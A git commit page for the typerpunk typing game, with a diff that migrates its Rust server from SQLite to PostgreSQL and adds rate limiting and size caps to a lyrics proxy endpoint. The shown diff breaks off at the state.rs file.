srdusr
aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorsrdusr <[email protected]>2025-12-07 20:38:00 +0200
committersrdusr <[email protected]>2025-12-07 20:38:00 +0200
commit5b1ea38522dbf6bf60db5a2270463de0c12d9de3 (patch)
treec96e037c34230a05f2a457c5040843602dc7cf1f
parent24f1eb6cc611f458c45f0ac4046efce51211d7d3 (diff)
downloadtyperpunk-5b1ea38522dbf6bf60db5a2270463de0c12d9de3.tar.gz
typerpunk-5b1ea38522dbf6bf60db5a2270463de0c12d9de3.zip
Move the server to PostgreSQL, harden the lyrics proxy, add a hacking mode
PostgreSQL - sqlx switched from the sqlite feature to postgres; the server now runs on Postgres 18 and the SQLite file is gone. - 95 placeholders renumbered from ? to $N. - REAL widened to DOUBLE PRECISION: Postgres REAL is float4 and will not decode into the f64 the code reads. - flagged and is_bot are real BOOLEANs rather than 0/1 integers, with the decode side reading bool. - The leaderboard's derived table gained the alias Postgres requires, its flag comparisons became boolean predicates, and INSERT OR IGNORE became ON CONFLICT DO NOTHING. - u32 binds cast to i64; Postgres has no unsigned integer types. - Integration tests run against a real database - Postgres has no in-memory mode - each in a throwaway schema, with search_path set per connection because it is session state and the pool opens more than one. - Timestamps stay TEXT for now and LISTEN/NOTIFY is still unused; both are recorded in TODO-postgres.md rather than left implied. Custom text and lyrics, checked rather than assumed - Custom files never reach the server: they are read in the browser through the File API, so there is no upload, no path handling and no remote file inclusion to have. Verified by driving a hostile file - markup in the body and in the filename - all the way onto the typing screen: it renders as literal characters, no nodes are created, nothing executes, and the filename is escaped in the attribution too. - That test found a real regression: picking Custom from the new mode picker selected it without ever starting it, so the mode was unstartable. - /api/lyrics fixes its upstream host, so it cannot be pointed elsewhere, but it was an unbounded relay: now rate limited per IP, with length caps on artist and track and a ceiling on the response body it will read. Hacking mode - 22 single-line drills across recon, web, memory safety, exploit development, crypto, post-exploitation and defence, each syntax highlighted and each explaining what the line actually does. All 19 modes verified to start, render and be typable.
-rwxr-xr-xCargo.toml2
-rw-r--r--TODO-postgres.md24
-rw-r--r--crates/server/.env.example9
-rw-r--r--crates/server/migrations/0002_test_results.sql8
-rw-r--r--crates/server/migrations/0005_fairness.sql2
-rw-r--r--crates/server/migrations/0009_bot_players.sql2
-rw-r--r--crates/server/src/auth.rs30
-rw-r--r--crates/server/src/bot_results.rs8
-rw-r--r--crates/server/src/cosmetics.rs16
-rw-r--r--crates/server/src/friends.rs26
-rw-r--r--crates/server/src/lyrics.rs31
-rw-r--r--crates/server/src/main.rs55
-rw-r--r--crates/server/src/spotify.rs6
-rw-r--r--crates/server/src/state.rs11
-rw-r--r--crates/server/src/stats.rs20
-rw-r--r--data/packs/hacking.json24
-rw-r--r--texts.json1466
-rw-r--r--web/src/data/texts.json1466
-rw-r--r--web/src/screens/mainMenu.js9
-rw-r--r--web/tests/README.md4
20 files changed, 1829 insertions, 1390 deletions
diff --git a/Cargo.toml b/Cargo.toml
index 6a19a6e..a7fff70 100755
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -47,7 +47,7 @@ axum = { version = "0.7", features = ["ws"] }
axum-extra = { version = "0.9", features = ["cookie"] }
tower = "0.4"
tower-http = { version = "0.5", features = ["cors", "trace"] }
-sqlx = { version = "0.7", features = ["runtime-tokio-rustls", "sqlite", "time", "uuid"] }
+sqlx = { version = "0.7", features = ["runtime-tokio-rustls", "postgres", "time", "uuid"] }
argon2 = "0.5"
reqwest = { version = "0.11", default-features = false, features = ["json", "rustls-tls"] }
uuid = { version = "1.10", features = ["v4", "serde"] }
diff --git a/TODO-postgres.md b/TODO-postgres.md
index 5353ac1..6221891 100644
--- a/TODO-postgres.md
+++ b/TODO-postgres.md
@@ -1,4 +1,26 @@
-# Migrate the server from SQLite to PostgreSQL
+# Migrate the server from SQLite to PostgreSQL - DONE
+
+Done on 2026-08-30. The server runs on Postgres 18: sqlx switched to the
+`postgres` feature, 95 placeholders renumbered to `$N`, `REAL` columns
+widened to `DOUBLE PRECISION` (Postgres REAL is float4 and will not decode
+into f64), the `flagged` and `is_bot` flags made real BOOLEANs, the
+leaderboard's derived table given the alias Postgres requires, and
+`INSERT OR IGNORE` rewritten as `ON CONFLICT DO NOTHING`. Integration tests
+run against a real database, each in its own throwaway schema, since
+Postgres has no in-memory mode.
+
+## Still open
+
+- **Timestamps are still TEXT.** They are RFC3339 and sort correctly as
+ text, so this is not a correctness problem, but `TIMESTAMPTZ` would let
+ the database do date arithmetic instead of the application.
+- **LISTEN/NOTIFY is unused.** Multiplayer rooms are still in-process, so
+ the server cannot yet run as more than one instance.
+
+---
+
+## Original note
+
## Why
diff --git a/crates/server/.env.example b/crates/server/.env.example
index 6dabec5..8485826 100644
--- a/crates/server/.env.example
+++ b/crates/server/.env.example
@@ -1,4 +1,11 @@
-DATABASE_URL=sqlite://typerpunk.db
+# Postgres. Create the database and role first:
+# sudo -u postgres createuser --pwprompt typerpunk
+# sudo -u postgres createdb -O typerpunk typerpunk
+DATABASE_URL=postgres://typerpunk:[email protected]/typerpunk
+
+# The integration tests need their own database; each test creates a throwaway
+# schema inside it.
+TEST_DATABASE_URL=postgres://typerpunk:[email protected]/typerpunk_test
PORT=8787
FRONTEND_ORIGIN=http://localhost:4173
diff --git a/crates/server/migrations/0002_test_results.sql b/crates/server/migrations/0002_test_results.sql
index aa876b5..2a4cf69 100644
--- a/crates/server/migrations/0002_test_results.sql
+++ b/crates/server/migrations/0002_test_results.sql
@@ -2,10 +2,10 @@ CREATE TABLE test_results (
id TEXT PRIMARY KEY,
user_id TEXT NOT NULL REFERENCES users(id) ON DELETE CASCADE,
mode_key TEXT NOT NULL,
- wpm REAL NOT NULL,
- raw_wpm REAL NOT NULL,
- accuracy REAL NOT NULL,
- time_seconds REAL NOT NULL,
+ wpm DOUBLE PRECISION NOT NULL,
+ raw_wpm DOUBLE PRECISION NOT NULL,
+ accuracy DOUBLE PRECISION NOT NULL,
+ time_seconds DOUBLE PRECISION NOT NULL,
created_at TEXT NOT NULL
);
diff --git a/crates/server/migrations/0005_fairness.sql b/crates/server/migrations/0005_fairness.sql
index 28152d6..6d55b52 100644
--- a/crates/server/migrations/0005_fairness.sql
+++ b/crates/server/migrations/0005_fairness.sql
@@ -1,2 +1,2 @@
ALTER TABLE test_results ADD COLUMN device_type TEXT NOT NULL DEFAULT 'desktop';
-ALTER TABLE test_results ADD COLUMN flagged INTEGER NOT NULL DEFAULT 0;
+ALTER TABLE test_results ADD COLUMN flagged BOOLEAN NOT NULL DEFAULT FALSE;
diff --git a/crates/server/migrations/0009_bot_players.sql b/crates/server/migrations/0009_bot_players.sql
index 790eb85..72516c5 100644
--- a/crates/server/migrations/0009_bot_players.sql
+++ b/crates/server/migrations/0009_bot_players.sql
@@ -3,6 +3,6 @@
- the same cosmetics. The flag exists so the client can label them, because a
- board that mixes synthetic scores into human ones without saying so is
- telling its users something untrue.
-ALTER TABLE users ADD COLUMN is_bot INTEGER NOT NULL DEFAULT 0;
+ALTER TABLE users ADD COLUMN is_bot BOOLEAN NOT NULL DEFAULT FALSE;
CREATE INDEX idx_users_is_bot ON users(is_bot);
diff --git a/crates/server/src/auth.rs b/crates/server/src/auth.rs
index c1402d5..382dbfa 100644
--- a/crates/server/src/auth.rs
+++ b/crates/server/src/auth.rs
@@ -79,10 +79,10 @@ pub(crate) fn format_timestamp(dt: OffsetDateTime) -> String {
dt.format(&time::format_description::well_known::Rfc3339).expect("valid RFC3339 timestamp")
}
-async fn create_session(db: &sqlx::SqlitePool, user_id: &str) -> Result<String, AppError> {
+async fn create_session(db: &sqlx::PgPool, user_id: &str) -> Result<String, AppError> {
let session_id = uuid::Uuid::new_v4().to_string();
let expires_at = OffsetDateTime::now_utc() + TimeDuration::days(SESSION_LIFETIME_DAYS);
- sqlx::query("INSERT INTO sessions (id, user_id, expires_at) VALUES (?, ?, ?)")
+ sqlx::query("INSERT INTO sessions (id, user_id, expires_at) VALUES ($1, $2, $3)")
.bind(&session_id)
.bind(user_id)
.bind(format_timestamp(expires_at))
@@ -102,12 +102,12 @@ fn session_cookie(id: String, secure: bool) -> Cookie<'static> {
}
/// Resolves the signed-in user from the session cookie, if any and unexpired.
-pub async fn current_user(db: &sqlx::SqlitePool, jar: &CookieJar) -> Option<UserView> {
+pub async fn current_user(db: &sqlx::PgPool, jar: &CookieJar) -> Option<UserView> {
let session_id = jar.get(SESSION_COOKIE)?.value().to_string();
let row = sqlx::query(
"SELECT users.id as id, users.username as username, sessions.expires_at as expires_at
FROM sessions JOIN users ON users.id = sessions.user_id
- WHERE sessions.id = ?",
+ WHERE sessions.id = $1",
)
.bind(&session_id)
.fetch_optional(db)
@@ -139,7 +139,7 @@ async fn register(
validate_username(&creds.username)?;
validate_password(&creds.password)?;
- let existing = sqlx::query("SELECT id FROM users WHERE username = ?")
+ let existing = sqlx::query("SELECT id FROM users WHERE username = $1")
.bind(&creds.username)
.fetch_optional(&state.db)
.await?;
@@ -149,7 +149,7 @@ async fn register(
let user_id = uuid::Uuid::new_v4().to_string();
let password_hash = hash_password(&creds.password)?;
- sqlx::query("INSERT INTO users (id, username, password_hash, created_at) VALUES (?, ?, ?, ?)")
+ sqlx::query("INSERT INTO users (id, username, password_hash, created_at) VALUES ($1, $2, $3, $4)")
.bind(&user_id)
.bind(&creds.username)
.bind(&password_hash)
@@ -166,8 +166,8 @@ async fn register(
/// cookie-session login and the CLI-style token login below, so a
/// nonexistent username always takes the same dummy-hash timing path
/// regardless of which endpoint is asking.
-async fn authenticate(db: &sqlx::SqlitePool, creds: &Credentials) -> Result<UserView, AppError> {
- let row = sqlx::query("SELECT id, username, password_hash FROM users WHERE username = ?")
+async fn authenticate(db: &sqlx::PgPool, creds: &Credentials) -> Result<UserView, AppError> {
+ let row = sqlx::query("SELECT id, username, password_hash FROM users WHERE username = $1")
.bind(&creds.username)
.fetch_optional(db)
.await?;
@@ -223,7 +223,7 @@ async fn issue_token(
}
let user = authenticate(&state.db, &creds).await?;
let token = uuid::Uuid::new_v4().to_string();
- sqlx::query("INSERT INTO api_tokens (token, user_id, created_at) VALUES (?, ?, ?)")
+ sqlx::query("INSERT INTO api_tokens (token, user_id, created_at) VALUES ($1, $2, $3)")
.bind(&token)
.bind(&user.id)
.bind(format_timestamp(OffsetDateTime::now_utc()))
@@ -234,11 +234,11 @@ async fn issue_token(
/// Resolves a signed-in user from a bearer token (see api_tokens above),
/// for clients with no cookie jar.
-pub async fn user_from_token(db: &sqlx::SqlitePool, token: &str) -> Option<UserView> {
+pub async fn user_from_token(db: &sqlx::PgPool, token: &str) -> Option<UserView> {
let row = sqlx::query(
"SELECT users.id as id, users.username as username
FROM api_tokens JOIN users ON users.id = api_tokens.user_id
- WHERE api_tokens.token = ?",
+ WHERE api_tokens.token = $1",
)
.bind(token)
.fetch_optional(db)
@@ -262,11 +262,11 @@ const PRESENCE_WRITE_INTERVAL_SECS: i64 = 60;
/// authenticated request: the WHERE clause skips the write unless the stored
/// value is already stale, so it is one no-op UPDATE a minute per active user
/// rather than one per request.
-async fn touch_last_seen(db: &sqlx::SqlitePool, user_id: &str) {
+async fn touch_last_seen(db: &sqlx::PgPool, user_id: &str) {
let now = OffsetDateTime::now_utc();
let cutoff = now - TimeDuration::seconds(PRESENCE_WRITE_INTERVAL_SECS);
let _ = sqlx::query(
- "UPDATE users SET last_seen = ? WHERE id = ? AND (last_seen IS NULL OR last_seen < ?)",
+ "UPDATE users SET last_seen = $1 WHERE id = $2 AND (last_seen IS NULL OR last_seen < $3)",
)
.bind(format_timestamp(now))
.bind(user_id)
@@ -276,7 +276,7 @@ async fn touch_last_seen(db: &sqlx::SqlitePool, user_id: &str) {
}
pub async fn current_user_or_token(
- db: &sqlx::SqlitePool,
+ db: &sqlx::PgPool,
jar: &CookieJar,
headers: &axum::http::HeaderMap,
) -> Option<UserView> {
@@ -296,7 +296,7 @@ pub async fn current_user_or_token(
async fn logout(State(state): State<Arc<AppState>>, jar: CookieJar) -> Result<impl IntoResponse, AppError> {
if let Some(cookie) = jar.get(SESSION_COOKIE) {
- sqlx::query("DELETE FROM sessions WHERE id = ?")
+ sqlx::query("DELETE FROM sessions WHERE id = $1")
.bind(cookie.value())
.execute(&state.db)
.await?;
diff --git a/crates/server/src/bot_results.rs b/crates/server/src/bot_results.rs
index 255270e..c777d9c 100644
--- a/crates/server/src/bot_results.rs
+++ b/crates/server/src/bot_results.rs
@@ -68,7 +68,7 @@ async fn ensure_bot_users(state: &AppState) -> Result<(), sqlx::Error> {
// into, and the auth path compares against a hash that cannot match.
sqlx::query(
"INSERT INTO users (id, username, password_hash, created_at, is_bot)
- VALUES (?, ?, '!', ?, 1)
+ VALUES ($1, $2, '!', $3, TRUE)
ON CONFLICT(username) DO NOTHING",
)
.bind(format!("bot-{name}"))
@@ -95,7 +95,7 @@ async fn post_one_result(state: &AppState) -> Result<(), sqlx::Error> {
sqlx::query(
"INSERT INTO test_results (id, user_id, mode_key, wpm, raw_wpm, accuracy, time_seconds, created_at, device_type, flagged)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'desktop', 0)",
+ VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 'desktop', FALSE)",
)
.bind(uuid::Uuid::new_v4().to_string())
.bind(format!("bot-{name}"))
@@ -122,7 +122,7 @@ async fn seed_backlog(state: &AppState) -> Result<(), sqlx::Error> {
// leave every other mode permanently empty. This also means a mode
// added later gets seeded on the next start.
let existing: i64 = sqlx::query_scalar(
- "SELECT COUNT(*) FROM test_results WHERE user_id LIKE 'bot-%' AND mode_key = ?",
+ "SELECT COUNT(*) FROM test_results WHERE user_id LIKE 'bot-%' AND mode_key = $1",
)
.bind(*mode)
.fetch_one(&state.db)
@@ -144,7 +144,7 @@ async fn seed_backlog(state: &AppState) -> Result<(), sqlx::Error> {
let created = OffsetDateTime::now_utc() - time::Duration::hours(age_hours);
sqlx::query(
"INSERT INTO test_results (id, user_id, mode_key, wpm, raw_wpm, accuracy, time_seconds, created_at, device_type, flagged)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'desktop', 0)",
+ VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 'desktop', FALSE)",
)
.bind(uuid::Uuid::new_v4().to_string())
.bind(format!("bot-{name}"))
diff --git a/crates/server/src/cosmetics.rs b/crates/server/src/cosmetics.rs
index b3eee28..f128095 100644
--- a/crates/server/src/cosmetics.rs
+++ b/crates/server/src/cosmetics.rs
@@ -56,13 +56,13 @@ struct MyCosmetics {
async fn my_cosmetics(State(state): State<Arc<AppState>>, jar: CookieJar) -> Result<impl IntoResponse, AppError> {
let user = current_user(&state.db, &jar).await.ok_or(AppError::Unauthorized)?;
- let owned_rows = sqlx::query("SELECT cosmetic_id FROM user_cosmetics WHERE user_id = ?")
+ let owned_rows = sqlx::query("SELECT cosmetic_id FROM user_cosmetics WHERE user_id = $1")
.bind(&user.id)
.fetch_all(&state.db)
.await?;
let owned: Vec<String> = owned_rows.into_iter().filter_map(|r| r.try_get("cosmetic_id").ok()).collect();
- let equip_row = sqlx::query("SELECT equipped_caret, equipped_flair FROM users WHERE id = ?")
+ let equip_row = sqlx::query("SELECT equipped_caret, equipped_flair FROM users WHERE id = $1")
.bind(&user.id)
.fetch_one(&state.db)
.await?;
@@ -88,7 +88,7 @@ async fn my_cosmetics(State(state): State<Arc<AppState>>, jar: CookieJar) -> Res
async fn purchase(State(state): State<Arc<AppState>>, jar: CookieJar, Path(cosmetic_id): Path<String>) -> Result<impl IntoResponse, AppError> {
let user = current_user(&state.db, &jar).await.ok_or(AppError::Unauthorized)?;
- let exists = sqlx::query("SELECT id FROM cosmetics WHERE id = ?")
+ let exists = sqlx::query("SELECT id FROM cosmetics WHERE id = $1")
.bind(&cosmetic_id)
.fetch_optional(&state.db)
.await?;
@@ -96,7 +96,9 @@ async fn purchase(State(state): State<Arc<AppState>>, jar: CookieJar, Path(cosme
return Err(AppError::NotFound);
}
- sqlx::query("INSERT OR IGNORE INTO user_cosmetics (user_id, cosmetic_id, acquired_at) VALUES (?, ?, ?)")
+ // Postgres spells SQLite's INSERT OR IGNORE as an explicit conflict
+ // target; the pair is the table's primary key.
+ sqlx::query("INSERT INTO user_cosmetics (user_id, cosmetic_id, acquired_at) VALUES ($1, $2, $3) ON CONFLICT (user_id, cosmetic_id) DO NOTHING")
.bind(&user.id)
.bind(&cosmetic_id)
.bind(format_timestamp(OffsetDateTime::now_utc()))
@@ -112,7 +114,7 @@ async fn equip(State(state): State<Arc<AppState>>, jar: CookieJar, Path(cosmetic
let row = sqlx::query(
"SELECT cosmetics.category as category FROM cosmetics
JOIN user_cosmetics ON user_cosmetics.cosmetic_id = cosmetics.id
- WHERE cosmetics.id = ? AND user_cosmetics.user_id = ?",
+ WHERE cosmetics.id = $1 AND user_cosmetics.user_id = $2",
)
.bind(&cosmetic_id)
.bind(&user.id)
@@ -129,7 +131,7 @@ async fn equip(State(state): State<Arc<AppState>>, jar: CookieJar, Path(cosmetic
// Column name comes from a hardcoded match above, never from request
// input, so this is safe despite not being a bind parameter.
- let query = format!("UPDATE users SET {column} = ? WHERE id = ?");
+ let query = format!("UPDATE users SET {column} = $1 WHERE id = $2");
sqlx::query(&query).bind(&cosmetic_id).bind(&user.id).execute(&state.db).await?;
Ok(axum::http::StatusCode::NO_CONTENT)
@@ -147,7 +149,7 @@ async fn unequip(State(state): State<Arc<AppState>>, jar: CookieJar, Json(body):
"flair" => "equipped_flair",
_ => return Err(AppError::InvalidInput("category must be 'caret' or 'flair'".into())),
};
- let query = format!("UPDATE users SET {column} = NULL WHERE id = ?");
+ let query = format!("UPDATE users SET {column} = NULL WHERE id = $1");
sqlx::query(&query).bind(&user.id).execute(&state.db).await?;
Ok(axum::http::StatusCode::NO_CONTENT)
}
diff --git a/crates/server/src/friends.rs b/crates/server/src/friends.rs
index 6621def..48cd549 100644
--- a/crates/server/src/friends.rs
+++ b/crates/server/src/friends.rs
@@ -37,13 +37,13 @@ struct FriendsList {
outgoing_requests: Vec<FriendEntry>,
}
-fn row_to_entry(row: &sqlx::sqlite::SqliteRow, friendship_id_col: &str, user_id_col: &str, username_col: &str) -> FriendEntry {
+fn row_to_entry(row: &sqlx::postgres::PgRow, friendship_id_col: &str, user_id_col: &str, username_col: &str) -> FriendEntry {
FriendEntry {
friendship_id: row.try_get(friendship_id_col).unwrap_or_default(),
user_id: row.try_get(user_id_col).unwrap_or_default(),
username: row.try_get(username_col).unwrap_or_default(),
// Absent on the pending-request queries, which do not select it.
- online: row.try_get::<i64, _>("online").unwrap_or(0) != 0,
+ online: row.try_get::<bool, _>("online").unwrap_or(false),
}
}
@@ -60,10 +60,10 @@ async fn list_friends(State(state): State<Arc<AppState>>, jar: CookieJar, header
);
let accepted = sqlx::query(
"SELECT friendships.id as friendship_id, users.id as user_id, users.username as username,
- (users.last_seen IS NOT NULL AND users.last_seen > ?) as online
+ (users.last_seen IS NOT NULL AND users.last_seen > $1) as online
FROM friendships
- JOIN users ON users.id = CASE WHEN friendships.requester_id = ? THEN friendships.addressee_id ELSE friendships.requester_id END
- WHERE friendships.status = 'accepted' AND (friendships.requester_id = ? OR friendships.addressee_id = ?)",
+ JOIN users ON users.id = CASE WHEN friendships.requester_id = $2 THEN friendships.addressee_id ELSE friendships.requester_id END
+ WHERE friendships.status = 'accepted' AND (friendships.requester_id = $3 OR friendships.addressee_id = $4)",
)
.bind(&presence_cutoff)
.bind(&user.id).bind(&user.id).bind(&user.id)
@@ -73,7 +73,7 @@ async fn list_friends(State(state): State<Arc<AppState>>, jar: CookieJar, header
let incoming = sqlx::query(
"SELECT friendships.id as friendship_id, users.id as user_id, users.username as username
FROM friendships JOIN users ON users.id = friendships.requester_id
- WHERE friendships.status = 'pending' AND friendships.addressee_id = ?",
+ WHERE friendships.status = 'pending' AND friendships.addressee_id = $1",
)
.bind(&user.id)
.fetch_all(&state.db)
@@ -82,7 +82,7 @@ async fn list_friends(State(state): State<Arc<AppState>>, jar: CookieJar, header
let outgoing = sqlx::query(
"SELECT friendships.id as friendship_id, users.id as user_id, users.username as username
FROM friendships JOIN users ON users.id = friendships.addressee_id
- WHERE friendships.status = 'pending' AND friendships.requester_id = ?",
+ WHERE friendships.status = 'pending' AND friendships.requester_id = $1",
)
.bind(&user.id)
.fetch_all(&state.db)
@@ -108,7 +108,7 @@ async fn send_request(
) -> Result<impl IntoResponse, AppError> {
let user = current_user_or_token(&state.db, &jar, &headers).await.ok_or(AppError::Unauthorized)?;
- let target = sqlx::query("SELECT id FROM users WHERE username = ?")
+ let target = sqlx::query("SELECT id FROM users WHERE username = $1")
.bind(&body.username)
.fetch_optional(&state.db)
.await?
@@ -121,7 +121,7 @@ async fn send_request(
let existing = sqlx::query(
"SELECT id, requester_id, status FROM friendships
- WHERE (requester_id = ? AND addressee_id = ?) OR (requester_id = ? AND addressee_id = ?)",
+ WHERE (requester_id = $1 AND addressee_id = $2) OR (requester_id = $3 AND addressee_id = $4)",
)
.bind(&user.id).bind(&target_id)
.bind(&target_id).bind(&user.id)
@@ -138,7 +138,7 @@ async fn send_request(
// creating a second, redundant pending row in the opposite direction.
if requester_id == target_id {
let id: String = row.try_get("id").map_err(|e| AppError::Internal(e.into()))?;
- sqlx::query("UPDATE friendships SET status = 'accepted' WHERE id = ?")
+ sqlx::query("UPDATE friendships SET status = 'accepted' WHERE id = $1")
.bind(&id)
.execute(&state.db)
.await?;
@@ -147,7 +147,7 @@ async fn send_request(
return Err(AppError::InvalidInput("request already pending".into()));
}
- sqlx::query("INSERT INTO friendships (id, requester_id, addressee_id, status, created_at) VALUES (?, ?, ?, 'pending', ?)")
+ sqlx::query("INSERT INTO friendships (id, requester_id, addressee_id, status, created_at) VALUES ($1, $2, $3, 'pending', $4)")
.bind(uuid::Uuid::new_v4().to_string())
.bind(&user.id)
.bind(&target_id)
@@ -167,7 +167,7 @@ async fn accept_request(
let user = current_user_or_token(&state.db, &jar, &headers).await.ok_or(AppError::Unauthorized)?;
let result = sqlx::query(
- "UPDATE friendships SET status = 'accepted' WHERE id = ? AND addressee_id = ? AND status = 'pending'",
+ "UPDATE friendships SET status = 'accepted' WHERE id = $1 AND addressee_id = $2 AND status = 'pending'",
)
.bind(&id)
.bind(&user.id)
@@ -191,7 +191,7 @@ async fn remove_friendship(
) -> Result<impl IntoResponse, AppError> {
let user = current_user_or_token(&state.db, &jar, &headers).await.ok_or(AppError::Unauthorized)?;
- let result = sqlx::query("DELETE FROM friendships WHERE id = ? AND (requester_id = ? OR addressee_id = ?)")
+ let result = sqlx::query("DELETE FROM friendships WHERE id = $1 AND (requester_id = $2 OR addressee_id = $3)")
.bind(&id)
.bind(&user.id)
.bind(&user.id)
diff --git a/crates/server/src/lyrics.rs b/crates/server/src/lyrics.rs
index d7c8710..332d9eb 100644
--- a/crates/server/src/lyrics.rs
+++ b/crates/server/src/lyrics.rs
@@ -1,6 +1,6 @@
use crate::error::AppError;
use crate::state::AppState;
-use axum::extract::{Query, State};
+use axum::extract::{ConnectInfo, Query, State};
use axum::response::IntoResponse;
use axum::routing::get;
use axum::{Json, Router};
@@ -37,10 +37,32 @@ pub struct LyricsResult {
pub plain: Option<String>,
}
-async fn get_lyrics(State(state): State<Arc<AppState>>, Query(q): Query<LyricsQuery>) -> Result<impl IntoResponse, AppError> {
+/// Beyond this, a value is not a track or artist name - it is someone using
+/// this endpoint to push a large query at lrclib.
+const MAX_FIELD_LEN: usize = 200;
+
+/// The upstream body is read into memory, so it needs a ceiling that does not
+/// depend on the third party behaving. Lyrics for a song are a few kilobytes.
+const MAX_RESPONSE_BYTES: usize = 256 * 1024;
+
+async fn get_lyrics(
+ State(state): State<Arc<AppState>>,
+ ConnectInfo(addr): ConnectInfo<std::net::SocketAddr>,
+ Query(q): Query<LyricsQuery>,
+) -> Result<impl IntoResponse, AppError> {
+ // This endpoint makes an outbound request on the caller's behalf. The
+ // destination is fixed, so it cannot be pointed at anything else, but
+ // without a limit it is still a free relay for hammering lrclib from our
+ // address rather than the caller's.
+ if !state.lyrics_rate_limiter.check(addr.ip()) {
+ return Err(AppError::RateLimited);
+ }
if q.artist.trim().is_empty() || q.track.trim().is_empty() {
return Err(AppError::InvalidInput("artist and track are required".into()));
}
+ if q.artist.len() > MAX_FIELD_LEN || q.track.len() > MAX_FIELD_LEN {
+ return Err(AppError::InvalidInput("artist and track are too long".into()));
+ }
let mut req = state
.http
@@ -51,6 +73,11 @@ async fn get_lyrics(State(state): State<Arc<AppState>>, Query(q): Query<LyricsQu
}
let res = req.send().await.map_err(|e| AppError::Internal(e.into()))?;
+ if let Some(len) = res.content_length() {
+ if len as usize > MAX_RESPONSE_BYTES {
+ return Err(AppError::Internal(anyhow::anyhow!("lrclib response too large")));
+ }
+ }
if res.status() == reqwest::StatusCode::NOT_FOUND {
return Err(AppError::NotFound);
}
diff --git a/crates/server/src/main.rs b/crates/server/src/main.rs
index 0d1c980..e9133b9 100644
--- a/crates/server/src/main.rs
+++ b/crates/server/src/main.rs
@@ -79,13 +79,18 @@ async fn main() -> anyhow::Result<()> {
.with_env_filter(tracing_subscriber::EnvFilter::try_from_default_env().unwrap_or_else(|_| "info".into()))
.init();
- let database_url = std::env::var("DATABASE_URL").unwrap_or_else(|_| "sqlite://typerpunk.db".to_string());
+ let database_url = std::env::var("DATABASE_URL")
+ .unwrap_or_else(|_| "postgres://typerpunk:[email protected]/typerpunk".to_string());
let cookie_secure = std::env::var("COOKIE_SECURE").map(|v| v == "1" || v == "true").unwrap_or(false);
let frontend_origin = std::env::var("FRONTEND_ORIGIN").unwrap_or_else(|_| "http://localhost:4173".to_string());
let port: u16 = std::env::var("PORT").ok().and_then(|p| p.parse().ok()).unwrap_or(8787);
- let connect_options = sqlx::sqlite::SqliteConnectOptions::from_str(&database_url)?.create_if_missing(true);
- let db = sqlx::sqlite::SqlitePoolOptions::new().max_connections(10).connect_with(connect_options).await?;
+ // No create_if_missing: Postgres databases are created by an administrator,
+ // not by the application on first connect the way a SQLite file was.
+ let db = sqlx::postgres::PgPoolOptions::new()
+ .max_connections(10)
+ .connect(&database_url)
+ .await?;
sqlx::migrate!("./migrations").run(&db).await?;
if !cookie_secure {
@@ -134,11 +139,47 @@ mod tests {
use state::SpotifyConfig;
async fn spawn_test_server() -> String {
- let db = sqlx::sqlite::SqlitePoolOptions::new()
- .max_connections(1)
- .connect("sqlite::memory:")
+ // Postgres has no in-memory mode, so these run against a real database.
+ // Each test gets its own schema inside it: a shared one would let two
+ // tests running concurrently see each other's rows, and DROP SCHEMA
+ // cleans up without coordinating table lists.
+ let url = std::env::var("TEST_DATABASE_URL").unwrap_or_else(|_| {
+ "postgres://typerpunk:[email protected]/typerpunk_test".to_string()
+ });
+ let schema = format!("t{}", uuid::Uuid::new_v4().simple());
+
+ // Created over a one-shot connection first, because the pool below
+ // pins every connection to this schema and it has to exist by then.
+ {
+ let setup = sqlx::postgres::PgPoolOptions::new()
+ .max_connections(1)
+ .connect(&url)
+ .await
+ .expect("failed to connect to the test database - is Postgres running, and does typerpunk_test exist?");
+ sqlx::query(&format!("CREATE SCHEMA {schema}"))
+ .execute(&setup)
+ .await
+ .expect("failed to create test schema");
+ setup.close().await;
+ }
+
+ // search_path is per-session, so it is set on every connection the
+ // pool opens rather than once on whichever one happened to be first.
+ let schema_for_hook = schema.clone();
+ let db = sqlx::postgres::PgPoolOptions::new()
+ .max_connections(2)
+ .after_connect(move |conn, _meta| {
+ let schema = schema_for_hook.clone();
+ Box::pin(async move {
+ sqlx::query(&format!("SET search_path TO {schema}"))
+ .execute(conn)
+ .await
+ .map(|_| ())
+ })
+ })
+ .connect(&url)
.await
- .expect("failed to open in-memory test database");
+ .expect("failed to connect to the test database");
sqlx::migrate!("./migrations").run(&db).await.expect("failed to run migrations");
let app_state = Arc::new(AppState::new(
diff --git a/crates/server/src/spotify.rs b/crates/server/src/spotify.rs
index 9076afd..0ed652e 100644
--- a/crates/server/src/spotify.rs
+++ b/crates/server/src/spotify.rs
@@ -110,7 +110,7 @@ async fn callback(
let expires_at = format_timestamp(OffsetDateTime::now_utc() + TimeDuration::seconds(token.expires_in));
sqlx::query(
- "INSERT INTO spotify_tokens (user_id, access_token, refresh_token, expires_at) VALUES (?, ?, ?, ?)
+ "INSERT INTO spotify_tokens (user_id, access_token, refresh_token, expires_at) VALUES ($1, $2, $3, $4)
ON CONFLICT(user_id) DO UPDATE SET access_token = excluded.access_token, refresh_token = excluded.refresh_token, expires_at = excluded.expires_at",
)
.bind(&user.id)
@@ -125,7 +125,7 @@ async fn callback(
}
async fn get_valid_access_token(state: &AppState, user_id: &str) -> Result<Option<String>, AppError> {
- let row = sqlx::query("SELECT access_token, refresh_token, expires_at FROM spotify_tokens WHERE user_id = ?")
+ let row = sqlx::query("SELECT access_token, refresh_token, expires_at FROM spotify_tokens WHERE user_id = $1")
.bind(user_id)
.fetch_optional(&state.db)
.await?;
@@ -159,7 +159,7 @@ async fn get_valid_access_token(state: &AppState, user_id: &str) -> Result<Optio
let new_refresh_token = refreshed.refresh_token.unwrap_or(refresh_token);
let new_expires_at = format_timestamp(OffsetDateTime::now_utc() + TimeDuration::seconds(refreshed.expires_in));
- sqlx::query("UPDATE spotify_tokens SET access_token = ?, refresh_token = ?, expires_at = ? WHERE user_id = ?")
+ sqlx::query("UPDATE spotify_tokens SET access_token = $1, refresh_token = $2, expires_at = $3 WHERE user_id = $4")
.bind(&refreshed.access_token)
.bind(&new_refresh_token)
.bind(&new_expires_at)
diff --git a/crates/server/src/state.rs b/crates/server/src/state.rs
index 7244955..fac6f29 100644
--- a/crates/server/src/state.rs
+++ b/crates/server/src/state.rs
@@ -1,7 +1,7 @@
